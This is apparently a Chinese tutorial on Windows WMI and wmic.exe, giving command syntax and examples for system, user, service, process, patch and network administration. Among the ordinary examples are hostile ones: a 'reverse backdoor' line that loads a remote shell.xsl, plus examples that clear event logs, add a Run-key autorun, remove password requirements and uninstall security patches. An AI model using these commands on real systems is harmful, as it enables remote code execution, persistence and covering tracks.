[TOC]
0x00 前言介绍
描述:WMI的全名为”Windows Management Instrumentation - Windows管理规范
“, 从Windows 98开始 Windows操作系统都支持WMI, 它是由一系列工具集组成的可以在本地或者远程管理计算机系统。
WMI 特点: WMI有一组API: 我们不管使用VBScript、PowerShell脚本还是利用C#的来访问WMI的类库,都是因为WMI向外暴露的一组API,通过调用API实现使用指定的类。 WMI有一个存储库: 尽管WMI的多数实例数据都不存储在WMI中,但是WMI确实有一个存储库,用来存放提供程序提供的类信息,或者称为类的蓝图或者Schema。 WMI有一个Service: 运行有 Winmgmt 的Windows服务,如果停止这个服务所有对WMI的操作都将没有反应。 WMI是可扩展性: 基于WMI的可扩展性 WMI对资源的操作,不是它自己实现了什么方法,而完全取决于向它注册的提供程序。
Q: 为啥需要WMIC.exe管理工具? 描述: 但是在WMIC出现之前如果要管理WMI系统必须使用一些专门的WMI应用,例如SMS或者使用WMI的脚本编程API,或者使用CIM Studio之类的工具。如果不熟悉C 之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。
Q: 什么是wmic.exe
描述: wmic.exe 是 Windows Management Instrumentation
Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。其不能直接进行执行需要切换终端到C:WindowsSystem32wbem
位置下才能进行调用;通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理
Tips : WMI是管理员日常必备的强大工具之一是脚本伴侣。
远程管理的先决条件:
- a.启动
Windows Management Instrumentation
服务,开放TCP135端口。 - b.本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”。
1.语法参数
系统管理执行脚本界面:
代码语言:javascript复制#非交互模式(Non-Interactive mode)
wmic <command>
#交互模式(Interactive mode)
运行->cmd->wmic
[global switches] <command>
帮助命令:
代码语言:javascript复制(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]
#可以使用以下全局开关:
/NAMESPACE 别名在其上操作的命名空间的路径。
/ROLE 包含别名定义的角色的路径。
/NODE 别名在其上操作的服务器。
/IMPLEVEL 客户端模拟级别。
/AUTHLEVEL 客户端身份验证级别。
/LOCALE 客户端应使用的语言 ID。
/PRIVILEGES 启用或禁用所有权限。
/TRACE 将调试信息输出到 stderr。
/RECORD 记录所有输入命令和输出内容。
/INTERACTIVE 设置或重置交互模式。
/FAILFAST 设置或重置 FailFast 模式。
/USER 会话期间要使用的用户。
/PASSWORD 登录会话时要使用的密码。
/OUTPUT 指定输出重定向模式。
/APPEND 指定输出重定向模式。
/AGGREGATE 设置或重置聚合模式。
/AUTHORITY 指定连接的 <授权类型>。
/?[:<BRIEF|FULL>] 用法信息。
有关特定全局开关的详细信息,请键入: switch-name /?
#当前角色中可以使用以下别名:
ALIAS - 对本地系统上可用别名的访问
BASEBOARD - 基板(也称为主板或系统板)管理。
BIOS - 基本输入/输出服务(BIOS)管理。
BOOTCONFIG - 启动配置管理。
CDROM - CD-ROM 管理。
COMPUTERSYSTEM - 计算机系统管理。
CPU - CPU 管理。
CSPRODUCT - SMBIOS 中的计算机系统产品信息。
DATAFILE - 数据文件管理。
DCOMAPP - DCOM 应用程序管理。
DESKTOP - 用户的桌面管理。
DESKTOPMONITOR - 桌面监视器管理。
DEVICEMEMORYADDRESS - 设备内存地址管理。
DISKDRIVE - 物理磁盘驱动器管理。
DISKQUOTA - 用于 NTFS 卷的磁盘空间使用量。
DMACHANNEL - 直接内存访问(DMA)通道管理。
ENVIRONMENT - 系统环境设置管理。
FSDIR - 文件系统目录项管理。
GROUP - 组帐户管理。
IDECONTROLLER - IDE 控制器管理。
IRQ - 中断请求线路(IRQ)管理。
JOB - 提供对使用计划服务安排的作业的访问。
LOADORDER - 定义执行依赖关系的系统服务的管理。
LOGICALDISK - 本地存储设备管理。
LOGON - 登录会话。
MEMCACHE - 缓存内存管理。
MEMORYCHIP - 内存芯片信息。
MEMPHYSICAL - 计算机系统的物理内存管理。
NETCLIENT - 网络客户端管理。
NETLOGIN - 网络登录信息(属于特定用户)管理。
NETPROTOCOL - 协议(及其网络特征)管理。
NETUSE - 活动网络连接管理。
NIC - 网络接口控制器(NIC)管理。
NICCONFIG - 网络适配器管理。
NTDOMAIN - NT 域管理。
NTEVENT - NT 事件日志中的项目。
NTEVENTLOG - NT 事件日志文件管理。
ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理。
OS - 已安装操作系统的管理。
PAGEFILE - 虚拟内存文件交换管理。
PAGEFILESET - 页面文件设置管理。
PARTITION - 物理磁盘的已分区区域的管理。
PORT - I/O 端口管理。
PORTCONNECTOR - 物理连接端口管理。
PRINTER - 打印机设备管理。
PRINTERCONFIG - 打印机设备配置管理。
PRINTJOB - 打印作业管理。
PROCESS - 进程管理。
PRODUCT - 安装程序包任务管理。
QFE - 快速修复工程。
QUOTASETTING - 卷上的磁盘配额设置信息。
RDACCOUNT - 远程桌面连接权限管理。
RDNIC - 对特定网络适配器的远程桌面连接管理。
RDPERMISSIONS - 特定远程桌面连接的权限。
RDTOGGLE - 远程打开或关闭远程桌面侦听程序。
RECOVEROS - 操作系统出现故障时将从内存收集的信息。
REGISTRY - 计算机系统注册表管理。
SCSICONTROLLER - SCSI 控制器管理。
SERVER - 服务器信息管理。
SERVICE - 服务应用程序管理。
SHADOWCOPY - 卷影副本管理。
SHADOWSTORAGE - 卷影副本存储区域管理。
SHARE - 共享资源管理。
SOFTWAREELEMENT - 系统上安装的软件产品元素的管理。
SOFTWAREFEATURE - SoftwareElement 的软件产品子集的管理。
SOUNDDEV - 声音设备管理。
STARTUP - 当用户登录到计算机系统时自动运行的命令的管理。
SYSACCOUNT - 系统帐户管理。
SYSDRIVER - 基本服务的系统驱动程序管理。
SYSTEMENCLOSURE - 物理系统外壳管理。
SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。
TAPEDRIVE - 磁带驱动器管理。
TEMPERATURE - 温度传感器(电子温度计)数据管理。
TIMEZONE - 时区数据管理。
UPS - 不间断电源(UPS)管理。
USERACCOUNT - 用户帐户管理。
VOLTAGE - 电压传感器(电子电压表)数据管理。
VOLUME - 本地存储卷管理。
VOLUMEQUOTASETTING - 将磁盘配额设置与特定磁盘卷相关联。
VOLUMEUSERQUOTA - 每用户存储卷配额管理。
WMISET - WMI 服务操作参数管理。
#帮助说明:
#有关特定别名的详细信息,请键入: alias /?
#有关 CLASS/PATH/CONTEXT 的详细信息,请键入: (CLASS | PATH | CONTEXT) /?
CLASS - 按 Esc 键可获取完整 WMI 架构
PATH - 按 Esc 键可获取完整 WMI 对象路径
CONTEXT - 显示所有全局开关的状态
QUIT/EXIT - 退出程序
如:我要查看process命令的帮助,键入:wmic process /?后显示如下:
代码语言:javascript复制#PROCESS - 进程管理。提示: BNF 的别名用法。
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。
#用法:
PROCESS ASSOC [<格式说明符>]
PROCESS CALL <方法名称> [<实际参数列表>]
PROCESS CREATE <分配列表>
PROCESS DELETE
PROCESS GET [<属性列表>] [<获取开关>]
PROCESS LIST [<列表格式>] [<列表开关>]
Call - 函数高级用法
代码语言:javascript复制ChangeSecurityPermissions
Compress
Copy
Delete
GetEffectivePermission
Rename
TakeOwnerShip
Uncompress
Out - 以文件的形式输出获取的内容
简单示例:
代码语言:javascript复制# -Commands
CLASS #从WMIC的默认别名模式中转义,直接访问WMI模式中的类。
PATH #从WMIC的默认别名模式中转义,直接访问WMI模式中的实例。
WMIC CONTEXT #显示所有全局开关的当前值。
# NAMESPACE : rootcimv2
# ROLE : rootcli
# NODE(S) : WEIYIGEEK
# IMPLEVEL : IMPERSONATE
# [AUTHORITY : N/A]
# AUTHLEVEL : PKTPRIVACY
# LOCALE : ms_804
# PRIVILEGES : ENABLE
# TRACE : OFF
# RECORD : N/A
# INTERACTIVE : OFF
# FAILFAST : OFF
# OUTPUT : STDOUT
# APPEND : STDOUT
# USER : N/A
# AGGREGATE : ON
WMIC QUIT #Exit from WMIC.
WMIC EXIT #Exit from WMIC.
# - 特殊命令获取信息进行输出
wmic /output:路径 <command> get 字段1,字段2;
WMIC /OUTPUT:c:ClassOutput.htm CLASS Win32_SoundDevice
WMIC /OUTPUT:c:PathOutput.txt PATH Win32_SoundDevice GET /VALUE
# - 格式化输出格式选择以及选择指定字段
# /FORMAT:VALUE|LIST|CSV|HFORM|HTABLE|MOF|RAWXML|TABLE|XML|htable-sortby
# /get:字段1,字段2 #及查询命令需要显示列值的标题
PS C:WindowsSystem32wbem> wmic PATH Win32_SoundDevice GET SystemName,Status /Format:VALUE
# Status=OK
# SystemName=WEIYIGEEK
wmic /output:d:install.txt product get name,version
0x01 系统配置
environment
描述:ENVIRONMENT系统环境设置管理;
代码语言:javascript复制ENVIRONMENT ASSOC [<格式说明符>]
ENVIRONMENT CREATE <分配列表>
ENVIRONMENT DELETE
ENVIRONMENT GET [<属性列表>] [<获取开关>]
ENVIRONMENT LIST [<列表格式>] [<列表开关>]
ENVIRONMENT SET [<分配列表>] #属性设置操作。
基础实例:
代码语言:javascript复制#1.环境变量摘要信息显示->> Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic environment list brief
# Name UserName VariableValue
# CLASSPATH <SYSTEM> .;%JAVA_HOME%libdt.jar;%JAVA_HOME%libtools.jar;
#2.获取指定环境变量的值以及所属用户
wmic ENVIRONMENT where "name='temp'" get UserName,VariableValue #获取temp环境变量
#3.更改设置的环境变量属性支持cmd中%%符号
wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;e:tools" #系统用户-更改path环境变量值,新增e:tools
#4.#新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH%
wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%"
#5.删除home环境变量
wmic ENVIRONMENT where "name='home'" delete
WeiyiGeek.
useraccount - 用户帐户管理计算机用户列表
基础语法:
代码语言:javascript复制USERACCOUNT ASSOC [<格式说明符>]
USERACCOUNT CALL <方法名称> [<实际参数列表>]
USERACCOUNT CREATE <分配列表>
USERACCOUNT DELETE
USERACCOUNT GET [<属性列表>] [<获取开关>]
USERACCOUNT LIST [<列表格式>] [<列表开关>]
USERACCOUNT SET [<分配列表>] #设置是否禁用/名称/锁定/密码是否能更改以及密码失效的时间
Disabled boolean
FullName string
Lockout boolean
PasswordChangeable boolean
PasswordExpires boolean
PasswordRequired boolean #密码需要
基础示例:
代码语言:javascript复制# 0.用户信息获取
wmic useraccount list brief
# AccountType Caption Domain FullName Name SID
# 512 WEIYIGEEKAdministrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500
# 1.当前计算机用户和所有计算机匹配到的用户列表
WMIC USERACCOUNT where "name='%UserName%'"
WMIC USERACCOUNT LIST /FORMAT:VALUE | findstr /n "<Name> <SID> Descrip Password"
# AccountType Caption Domain FullName Name SID
# 512 WEIYIGEEKAdministrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500
# - 更改用户名Administrator为WeiyiGeek
wmic useraccount where "name='Administrator" call Rename WeiyiGeek
# 2.相关信息更改
# - 计算机用户名称更改
wmic USERACCOUNT where name="Administrator" set FullName="admin" #更改用户administrator全名为admin
# - Lock user account
wmic useraccount where name='username' set disabled=false
# - Unlock user account
wmic useraccount where name='username' set disabled=true
# - Remove password requirement for logging in
wmic useraccount where name='username' set PasswordRequired=false
# - Restrict user from changing password - 限制用户更改密码
wmic useraccount where name='username' set passwordchangeable=false
group - 组帐户管理
基础语法
代码语言:javascript复制# 用法
GROUP ASSOC [<格式说明符>]
GROUP CALL <方法名称> [<实际参数列表>]
GROUP CREATE <分配列表>
GROUP DELETE
GROUP GET [<属性列表>] [<获取开关>]
GROUP LIST [<列表格式>] [<列表开关>]
# 提示: BNF 的别名用法。
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。
简单示例:
代码语言:javascript复制# - 获取组SID
wmic group get Caption,InstallDate,LocalAccount,Domain,SID,Status
# aption Domain InstallDate LocalAccount SID Status
# WEIYIGEEKAccess Control Assistance Operators WEIYIGEEK TRUE S-1-5-32-579 OK
# WEIYIGEEKAdministrators WEIYIGEEK TRUE S-1-5-32-544 OK
cpu
基础示例:
代码语言:javascript复制# //查看CPU及其内存状况内存速率
wmic cpu get SystemName,Caption,name,CurrentClockSpeed
# Caption CurrentClockSpeed Name SystemName
# Intel64 Family 6 Model 60 Stepping 3 3301 Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz WEIYIGEEK
#//查看系统实际核心数(启用)以及线程数
> wmic cpu get NumberOfCores,NumberOfEnabledCore,NumberOfLogicalProcessors
NumberOfCores NumberOfEnabledCore NumberOfLogicalProcessors
8 8 8
os - 系统信息
基础语法:
代码语言:javascript复制OS CALL <方法名称> [<实际参数列表>]
OS CREATE <分配列表>
OS DELETE
OS GET [<属性列表>] [<获取开关>]
OS LIST [<列表格式>] [<列表开关>]
OS SET [<分配列表>]
> wmic os get /? #可能会被恶意了利用metasploit生成xsl马儿
/FORMAT:<格式说明符> - 处理 XML 结果的关键字/XSL 文件名。
简单示例:
代码语言:javascript复制# 0.获取操作系统详情
wmic os get /all /format:list
# 1.计算机简要信息
wmic os list brief
# BuildNumber Organization RegisteredUser SerialNumber SystemDirectory Version
# 18362 WeiyiGeek 00331-10000-00001-AA685 C:Windowssystem32 10.0.18362
# - 获取指定键的值
Wmic os get ServicePackMajorVersion # XP或者Win7 可用查看SP版本
Wmic os get ProductType,OperatingSystemSKU
# OperatingSystemSKU ProductType
# 48 1
# 2.实现反弹后门
wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl"
# 3.设置覆盖安装实际
wmic os where(primary=1) call setdatetime 20070731144642.555555 480
WeiyiGeek.
bios
基础示例:
代码语言:javascript复制#查看bios版本型号
wmic bios get BIOSVersion,Manufacturer,Name
# BIOSVersion Manufacturer Name
# {"DELL - 1072009", "A11", "American Megatrends - 4028D"} Dell Inc. A11
csproduct
基础示例:
代码语言:javascript复制#//计算机系统产品信息(笔记本型号)
WMIC CSPRODUCT LIST FULL
# Description=计算机系统产品
# IdentifyingNumber=8QVY
# Name=OptiPlex
# SKUNumber=
# UUID=4C4C4544-5551-5610-8059-B8C04F383632
# Vendor=Dell Inc.
# Version=00
computersystem
基础示例:
代码语言:javascript复制#1.系统信息
WMIC COMPUTERSYSTEM list /format:list | findstr /n "<Domain> Roles UserName Manufacturer Model "
# 16:Domain=WORKGROUP
# 25:Manufacturer=Dell Inc.
# 26:Model=OptiPlex 9020
# 44:Roles={"LM_Workstation","LM_Server","Print","NT"}
# 53:UserName=WEIYIGEEKWeiyiGeek
#2.退出所在域
wmic computersystem Where "name='计算机名称'" call joindomainorworkgroup "",1,"域名称","域管理员密码","域管理员用户名"
#3.更改现有工作组为指定的工作组
wmic computersystem Where "name='计算机名称'" call UnjoinDomainOrWorkgroup
#4.更改计算机名称
wmic computersystem where "caption='%ComputerName%'" call rename newcomputername
# - 补充信息: 获取系统角色、用户名和制造商
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:list
# Domain=WORKGROUP
# Manufacturer=Dell Inc.
# Model=OptiPlex 9020
# Name=WEIYIGEEK
# Roles={"LM_Workstation","LM_Server","Print","NT"}
# UserName=WEIYIGEEKWeiyiGeek
baseboard
基础示例:
代码语言:javascript复制# //主板信息
WMIC BASEBOARD LIST /FORMAT:list | findstr "<Description> Product Manufacturer"
Description=基板
Manufacturer=Dell Inc.
Product=03CPWF
memlogical
描述:Windows10中不能执行该命令; 基础示例:
代码语言:javascript复制#获取内存数:
wmic memlogical get totalphysicalmemory
sounddev
基础示例:
代码语言:javascript复制#声音设备管理信息
ProductName Status StatusInfo
Realtek High Definition Audio OK 3
AMD High Definition Audio Device OK 3
diskdrive
基础示例:
代码语言:javascript复制#获取物理磁盘型号大小等 500105249280 (gb|mb|kb|b)
wmic DISKDRIVE get Caption,size,InterfaceType
# Caption InterfaceType Size
# ST1000DM010-2EP102 SCSI 1000202273280
# WD Elements 1078 USB Device USB 1000169372160
logicaldisk
基础示例:
代码语言:javascript复制#本地储存设备管理 - 获取硬盘系统格式、总大小、可用空间等 (能看见全部磁盘)
wmic LOGICALDISK get name,Description,filesystem,size,freespace
# Description FileSystem FreeSpace Name Size
# 本地固定磁盘 NTFS 94062698496 C: 161062318080
# 本地固定磁盘 NTFS 260568281088 D: 280247660544
# 本地固定磁盘 NTFS 244968955904 E: 279173918720
# 本地固定磁盘 NTFS 184098725888 F: 279480832000
# 光盘 G:
# 光盘 I:
# 本地固定磁盘 NTFS 275694428160 L: 536870907904
# 本地固定磁盘 NTFS 282572599296 M: 463298621440
desktopmonitor
代码语言:javascript复制# //显示系统屏幕大小 -- 注意条件
wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth
# ScreenHeight ScreenWidth
# 1080 1920
ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理
基础语法:
代码语言:javascript复制# 用法:
ONBOARDDEVICE ASSOC [<格式说明符>]
ONBOARDDEVICE CREATE <分配列表>
ONBOARDDEVICE DELETE
ONBOARDDEVICE GET [<属性列表>] [<获取开关>]
ONBOARDDEVICE LIST [<列表格式>] [<列表开关>]
简单示例:
代码语言:javascript复制# - 判断目标系统是否为虚拟机
wmic onboarddevice get Desciption,DeviceType,Enabled,Status /format:list
NTEVENTLOG - NT 事件日志文件管理
基础语法:
代码语言:javascript复制NTEVENTLOG ASSOC [<格式说明符>]
NTEVENTLOG CALL <方法名称> [<实际参数列表>]
NTEVENTLOG CREATE <分配列表>
NTEVENTLOG DELETE
NTEVENTLOG GET [<属性列表>] [<获取开关>]
NTEVENTLOG LIST [<列表格式>] [<列表开关>]
NTEVENTLOG SET [<分配列表>]
基础操作:
代码语言:javascript复制# - (1) 查看系统各类日志记录条数及其分类
wmic nteventlog list brief
# FileSize LogfileName Name NumberOfRecords
# 9506816 Application C:WINDOWSSystem32WinevtLogsApplication.evtx 13542
# 69632 HardwareEvents C:WINDOWSSystem32WinevtLogsHardwareEvents.evtx 0
# 69632 Internet Explorer C:WINDOWSSystem32WinevtLogsInternet Explorer.evtx 0
# 69632 Key Management Service C:WINDOWSSystem32WinevtLogsKey Management Service.evtx 0
# 69632 OAlerts C:WINDOWSSystem32WinevtLogsOAlerts.evtx 66
# 69632 Parameters C:WINDOWSSystem32WinevtLogsParameters.evtx 0
# 69632 State C:WINDOWSSystem32WinevtLogsState.evtx 0
# 19992576 System C:WINDOWSSystem32WinevtLogsSystem.evtx 49428
# 15732736 Windows PowerShell C:WINDOWSSystem32WinevtLogsWindows PowerShell.evtx 9880
# - (2) 清理系统日志
wmic nteventlog where logfileName='system' call cleareventlog
# 执行 (\WEIYIGEEKROOTCIMV2:Win32_NTEventlogFile.Name="C:\WINDOWS\System32\Winevt\Logs\System.evtx")->cleareventlog() 方法执行成功
0x02 系统服务进程
process - 进程查看和修改
基础语法:
代码语言:javascript复制PROCESS ASSOC [<format specifier>] #关联进程
PROCESS CALL <method name> [<actual param list>] #调用函数
* terminate #关闭进程
* create #创建进程
* AttachDebugger #调试进程
* GetOwner #获取执行者
* GetOwnerSid #获取执行则者SID
* SetPriority #设置进程优先级
PROCESS CREATE <assign list> #创建进程
PROCESS DELETE #删除进行
PROCESS GET [<property list>] [<get switches>] #获取进程信息
PROCESS LIST [<list format>] [<list switches>] #列举进程
基础实例:
代码语言:javascript复制# 1.显示进程的详细信息
PS C:WindowsSystem32wbem> wmic process list brief
PS C:WindowsSystem32wbem> wmic process list full
# HandleCount Name Priority ProcessId ThreadCount WorkingSetSize
# 0 System Idle Process 0 0 4 8192
# 7653 System 8 4 188 32768
# 2.获取指定进程信息(非常实用)
# - 查看独立PID进程名以及及=可执行路径常常和/FORMAT:VALUE联用
wmic process get name,commandline,processid,executablepath /FORMAT:List
# CommandLine="C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe"
# ExecutablePath=C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe
# Name=WindowsTerminal.exe
# ProcessId=11112
# - 直接获取其值不显示其头部
wmic process get caption,commandline /value
# Caption=bash.exe
# CommandLine="D:Program FilesGitusrbinbash.exe"
#3.调用call进行创建进程、终止进程、删除进程、开启与关闭服务
wmic process call create calc
wmic process call create shutdown.exe #关闭本地计算机
wmic process call create "C:WindowsSystem32notepad.exe" #新建notepad进程 或者 该路径有空格的情况下 "C:Program FilesTencentQQQQ.exe"
wmic process where name="explorer.exe" call terminate
wmic process where name="notepad.exe" delete
# 删除实例 \WEIYIGEEKROOTCIMV2:Win32_Process.Handle="31788" 实例删除成功。
wmic service where "name='SERVERNAME'" call startservice # 开启服务
wmic service where "name='SERVERNAME'" call stopservice # 关闭服务
#4.过滤进程显示信息
wmic process where "name='svchost.exe'" get ExecutablePath
wmic process where "name='wechat.exe'" list full # 显示QQ进程的全部信息
# CommandLine="D:Program Files (x86)TencentWeChatWeChat.exe"
# CSName=WEIYIGEEK
# Description=WeChat.exe
# ExecutablePath=D:Program Files (x86)TencentWeChatWeChat.exe
# ExecutionState=
# Handle=10452
# HandleCount=1188
# InstallDate=
# KernelModeTime=98750000
# MaximumWorkingSetSize=126004
# MinimumWorkingSetSize=124824
# Name=WeChat.exe
# OSName=Microsoft Windows 10 专业版|C:Windows|DeviceHarddisk0Partition3
wmic service where "state='running'" list brief # 查看运行中的服务
#5.关闭指定进程,执行下面的命令将关闭正在运行的QQ.exe:
wmic process where "name='wechat.exe'" call terminate
#结束svchost.exe进程,路径为非C:WINDOWSsystem32svchost.exe的
wmic process where "name='svchost.exe' and ExecutablePath<>'C:\WINDOWS\system32\svchost.exe'" call Terminate
wmic process 2345 call terminate #删除指定进程
#6.获取指定进程信息
PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwner
# 执行(\WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwner()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
# Domain = "WEIYIGEEK";
# ReturnValue = 0;
# User = "WeiyiGeek";
# };
PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwnerSid
# 执行(\WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwnerSid()
# 方法执行成功外参数:
# instance of __PARAMETERS
# {
# ReturnValue = 0;
# Sid = "S-1-5-21-923396991-3399624210-3190802951-1001";
# };
#7.精确查找与模糊查找
wmic process where caption="notepad.exe" get caption,commandline /value
wmic process where="caption like 'notepad%'" get caption,commandline /value
#8.删除满足多个条件的进程(可以利用Key值进行匹配)
wmic process where name="'QQ.exe' and pid='123'" delete
#9.针对注册表的操作设置自启动
wmic process call create "reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "autorun" /t REG_SZ /d "C:windowsautorun.exe" /f"
#10.获取非%windows%目录下可执行文件列表
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath
# ExecutablePath
# C:Program Files (x86)GoogleChromeApplicationchrome.exe
# C:Program Files (x86)GoogleChromeApplicationchrome.exe
WeiyiGeek.
补充:批处理
代码语言:javascript复制@echo off
::以KB为单位显示进程占用内存
for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (
set /a m=%%a/1024
set /a mm=%%b/1024
echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K
)
pause
service
描述:进行计算机服务程序管理效果比net start/stop 服务名称
强大;
基础语法
SERVICE ASSOC [<format specifier>]
SERVICE CALL <method name> [<actual param list>]
* Change BOOLEAN/STRING/ARRAY OF STRING/UINT8 #更改 crete 函数方法 创建的Key/VALUE
* ChangeStartMode [IN ]StartMode(STRING) (null) #更改启动模式
* Create [IN ]DesktopInteract(BOOLEAN) (null)
* [IN ]DisplayName(STRING)
* [IN ]StartName(STRING)
* [IN ]StartPassword(STRING)
* [IN ]ErrorControl(UINT8)
* [IN ]LoadOrderGroup(STRING)
* [IN ]LoadOrderGroupDependencies(ARRAY OF STRING)
* [IN ]Name(STRING)
* [IN ]PathName(STRING)
* [IN ]ServiceDependencies(ARRAY OF STRING)
* [IN ]ServiceType(UINT8)
* [IN ]StartMode(STRING)
* Delete (null)
* InterrogateService (null) #中和服务
* PauseService (null) #暂停服务
* ResumeService (null) #服务摘要
* StartService (null)
* StopService (null)
* UserControlService [IN ]ControlCode(UINT8) (null) #用户控制服务
SERVICE CREATE <assign list>
SERVICE DELETE
SERVICE GET [<property list>] [<get switches>]
SERVICE LIST [<list format>] [<list switches>]
基础实例:
代码语言:javascript复制#1.案例:停止、暂停和运行服务功能
wmic SERVICE where name="Spooler" call startservice #运行spooler服务
wmic SERVICE where name="Spooler" call stopservice #运行spooler服务
wmic SERVICE where name="Spooler" call PauseService #暂停spooler服务
wmic SERVICE where name="Spooler" call delete #删除服务
#2.更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动]
wmic SERVICE where name="Spooler" set StartMode="auto"
#3.caption 指定服务名进行过滤
Service where caption="windows time" call stopservice #停止服务
Service where caption="windows time" call startservice #启动服务
#停止服务,注意name和caption的区别(CMD中运行不能再Powershell中运行)
echo %ERRORLEVEL% #运行命令是否成功
#4.服务信息摘要以及状态信息指定来过滤
wmic service list brief
# ExitCode Name ProcessId StartMode State Status
# 1077 AJRouter 0 Manual Stopped OK
# 0 Spooler 3480 Auto Running OK
wmic service where "State='Running'" list brief
#5.创建一个服务(未找到)
wmic service create /?:full #获取帮助详细
wmic service call create /?:full
如:telnet服务的显示名称是 telnet 服务名称是tlntsvr, 还有Windows Time服务的名称是w32time 显示名称是"Windows Time"要用引号引起来
主要是有一个空格。
WeiyiGeek.
job
描述:设置计算机的计划任务以及获取计划任务; 基础语法:
代码语言:javascript复制
基础示例:
代码语言:javascript复制#0.查看创建的计划任务
wmic job list brief
#1.创建计划任务
wmic job call create "notepad.exe",0,0,true,false,********154800.000000 480
wmic job call create "explorer.exe",0,0,1,0,********154600.000000 480
0x03 系统软件与补丁
qfe - 查看系统补丁安装情况
基础语法:
代码语言:javascript复制QFE ASSOC [<format specifier>]
QFE CREATE <assign list>
QFE DELETE
QFE GET [<property list>] [<get switches>]
QFE LIST [<list format>] [<list switches>]
实践案例:
代码语言:javascript复制# 1.查找目标机器是否安装了补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
# Caption Description HotFixID InstalledOn
# http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849697 10/26/2016
# http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849696 10/26/2016
# 2.删除已经安装的补丁
wmic qfe where "HotFixID='KB4497727'" delete
# Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status
# http://support.microsoft.com/?kbid=4497727 WEIYIGEEK Security Update KB4497727 4/1/2019
WeiyiGeek.补丁安装情况
product - 软件安装信息查看
基础语法: 安装包在C:WINDOWSInstaller目录下
代码语言:javascript复制PRODUCT ASSOC [<format specifier>]
PRODUCT CALL <method name> [<actual param list>]
PRODUCT CREATE <assign list>
PRODUCT DELETE
PRODUCT GET [<property list>] [<get switches>]
PRODUCT LIST [<list format>] [<list switches>]
简单示例:
代码语言:javascript复制#1.系统已经安装的软件及其版本号
wmic product get name,version
#2.表示将清单存储为 install.txt 并放在E 盘下 (比较特殊)
wmic /output:E:install.txt product get name,version
#3.修复和卸载安装
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Uninstall #卸载.msi安装包
wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Reinstall #修复.msi安装包
wmic Product where "name='电子摄像指纹采集'" call Uninstall #静默卸载
# 执行(\WEIYIGEEKROOTCIMV2:Win32_Product.IdentifyingNumber="{11314157-F5F7-41E7-A507-B700D2AC7F24}",Name="电子摄像指纹
# 采集",Version="1.00.0000")->Uninstall()
# 方法执行成功。
# 外参数:
# instance of __PARAMETERS
# {
# ReturnValue = 1603;
# };
#4.安装软件信息简要查看
wmic product List brief
# Caption IdentifyingNumber Name Vendor Version
# Office 16 Click-to-Run Extensibility Component {90160000-008C-0000-1000-0000000FF1CE} Office 16 Click-to-Run Extensibility Component Microsoft Corporation 16.0.12130.20272
# Office 16 Click-to-Run Localization Component {90160000-008C-0804-1000-0000000FF1CE} Office 16 Click-to-Run Localization Component Microsoft Corporation 16.0.12130.20272
WeiyiGeek.
0x04 网络设置
nicconfig
实例:利用 nicconfig 进行动态或者静态设置ip地址
代码语言:javascript复制NICCONFIG ASSOC [<格式说明符>]
NICCONFIG CALL <方法名称> [<实际参数列表>]
NICCONFIG CREATE <分配列表>
NICCONFIG DELETE
NICCONFIG GET [<属性列表>] [<获取开关>]
NICCONFIG LIST [<列表格式>] [<列表开关>]
基础实例:
代码语言:javascript复制#1.网卡信息描述以及索引
wmic nicconfig get SettingID,Description,index
# Description Index SettingID
# Microsoft Kernel Debug Network Adapter 0 {7D257BDB-8307-4D9A-BD9B-58EE823EB375}
# Intel(R) Ethernet Connection I217-LM 1 {8EE7E18D-B6A7-4210-B0AF-55F446794580}
#2.设置自动获取或者静态IP地址设置根据条件设置
wmic nicconfig where index=13 call enabledhcp #动态获取IP地址
